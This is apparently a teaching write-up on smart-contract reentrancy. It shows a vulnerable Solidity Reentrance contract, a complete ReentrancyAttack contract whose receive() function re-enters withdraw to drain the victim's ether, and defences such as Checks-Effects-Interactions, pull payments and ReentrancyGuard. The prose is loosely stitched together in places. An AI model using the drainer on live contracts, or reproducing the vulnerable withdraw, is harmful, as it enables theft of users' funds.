// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import '@openzeppelin/[email protected]/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint256) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint256 balance) {
return balances[_who];
}
function withdraw(uint256 _amount) public {
if (balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value: _amount}("");
if (result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IReentrancy {
function withdraw(uint256 _amount) external;
function donate(address _to) external payable;
}
contract ReentrancyAttack {
IReentrancy public reentrancyInterface;
constructor(address payable victim_) public {
reentrancyInterface = IReentrancy(victim_);
}
//1. donate first so that you can get past the withdrawal check
function donate() public payable {
require(msg.value >= 0.001 ether, "Need ETH to attack");
reentrancyInterface.donate{value: msg.value}(address(this));
}
// 2. then withdraw
function withdrawAttack() public {
reentrancyInterface.withdraw(0.001 ether);
}
// 3. Now when the withdraw function of victim tries to send the ether, your receive fallback
// will be triggered
// call the withdraw here again until you drain out everything
receive() external payable {
uint256 victimBalance = address(reentrancyInterface).balance;
uint256 withdrawAmount = victimBalance >= 0.001 ether
? 0.001 ether
: victimBalance;
if (victimBalance > 0) {
reentrancyInterface.withdraw(withdrawAmount);
}
}
}
contract PullPayment {
mapping (address => uint) public payments;
// store sent amount as credit to be pulled, called by payer
function asyncSend(address dest, uint amount) internal {
payments[dest] += amount;
}
// withdraw accumulated balance, called by payee
function withdrawPayments() external {
uint payment = payments[msg.sender];
payments[msg.sender] = 0;
if (!msg.sender.send(payment)) {
payments[msg.sender] = payment;
}
}
}
The Checks-Effects-Interactions pattern ensures that all code paths through a contract complete all required checks of the supplied parameters before modifying the contract’s state (Checks); only then it makes any changes to the state (Effects); it may make calls to functions in other contracts after all planned state changes have been written to storage (Interactions)
contract Fixed {
...
function withdraw() external {
uint256 amount = balanceOf[msg.sender];
// reduce balance first
balanceOf[msg.sender] = 0;
// then send
(bool success, ) = msg.sender.call.value(amount)("");
require(success, "Transfer failed.");
}
}
ReentrancyGuardimport "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
ReentrancyGuard will make the nonReentrant modifier availabletransfer and send are no longer recommended solutions as they can potentially break contracts after the Istanbul hard fork Source 1 Source 2.
SLOAD operation and therefore breaks some existing smart contracts. Those contracts will break because their fallback functions used to consume less than 2300 gas, and they’ll now consume more. It’s the amount of gas a contract’s fallback function receives if it’s called via Solidity’s transfer() or send() methods. Any smart contract that uses transfer() or send() is taking a hard dependency on gas costs by forwarding a fixed amount of gas: 2300.